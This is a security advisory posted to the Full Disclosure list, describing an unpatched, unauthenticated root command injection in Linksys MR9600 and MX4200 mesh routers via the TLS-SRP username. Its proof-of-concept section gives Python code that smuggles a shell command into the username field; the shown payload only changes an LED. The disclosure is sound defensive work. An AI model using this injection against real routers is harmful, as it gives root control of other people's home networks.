Message-ID: <ab06559e-be5a-45cf-a646-227d8f9f3084@syss.de>
Date: Thu, 12 Feb 2026 11:13:11 +0100
From: Christian Zäske via Fulldisclosure
 <fulldisclosure@...lists.org>
To: <fulldisclosure@...lists.org>
Subject: [FD] [SYSS-2025-010] Linksys MX9600/MX4200 - OS Command Injection

Advisory ID:               SYSS-2025-010
Product:                   MR9600, MX4200 (and potentially others)
Manufacturer:              Linksys
Affected Version(s):       1.0.4.205530 for MR9600, 1.0.13.210200 for 
MX4200 (and potentially others)
Tested Version(s):         1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200
Vulnerability Type:        OS Command Injection (CWE-78)
Risk Level:                High
Solution Status:           Open
Manufacturer Notification: 2025-03-18
Solution Date:             -
Public Disclosure:         2026-02-12
CVE Reference:             Not yet assigned
Author of Advisory:        Christian Zäske, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Linksys MX4200 is a Wi-Fi mesh router targeting home users.

The manufacturer describes the product as follows (see [1]):

"This router supports the latest Wi-Fi® 6 (802.11ax) standard for
next-level streaming and gaming. Its powerful WiFi 6 mesh coverage
offers faster WiFi performance for lag-free online gaming and
simultaneous streaming to every device and corner of your home."

Due to missing neutralization of special elements, OS commands can
be injected via the handshake of a TLS-SRP connection, which are
ultimately run as the root user.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The Linksys MR9600 (and other models) provides a service (sct_server
binary) running on TCP port 6060 (all interfaces except WAN), which is
used to integrate other mesh devices into the network. The service
accepts TLS-SRP connections with a username and password.

The service uses a different script (smcdb_auth) to receive credential
information using the given username. Since the service does not
neutralize special elements and appends the username as a command
line argument, arbitrary OS commands can be injected via the username
of the TLS-SRP handshake. These commands are run as the root user
without the need of a valid username or password.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Using the "tlslite-ng" library, the following Python code will result
in the LED indicator at the top turning yellow, indicating that the OS
command was successfully executed. No valid username or password is
needed.

   from socket import *
   from tlslite.api import *

   sock = socket.socket(AF_INET, SOCK_STREAM)
   sock.connect(("192.168.1.1", 6060))

   conn = TLSConnection(sock)
   conn.handshakeClientSRP("; . /etc/led/lib_nodes_hw.sh; combo_solid 
yellow on;", "dummypass")

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

There is no known solution yet.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2024-11-11: Vulnerability discovered
2025-03-18: Vulnerability reported to manufacturer
2025-04-07: First response from manufacturer
2025-04-14: Requested an update from manufacturer
2025-05-06: Acknowledgment of vulnerabilities by the manufacturer
2026-02-12: Public disclosure

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for Linksys MX4200
     https://support.linksys.com/kb/article/952-en/
[2] SySS Security Advisory SYSS-2025-010
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-010.txt
[3] SySS Responsible Disclosure Policy
     https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Christian Zäske of SySS
GmbH.

E-Mail: christian.zaeske@...s.de
Public Key: 
https://www.syss.de/fileadmin/dokumente/PGPKeys/Christian_Zaeske.asc
Key ID: 0x7B00D164A32F9AC9
Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: https://creativecommons.org/licenses/by/3.0/deed.en


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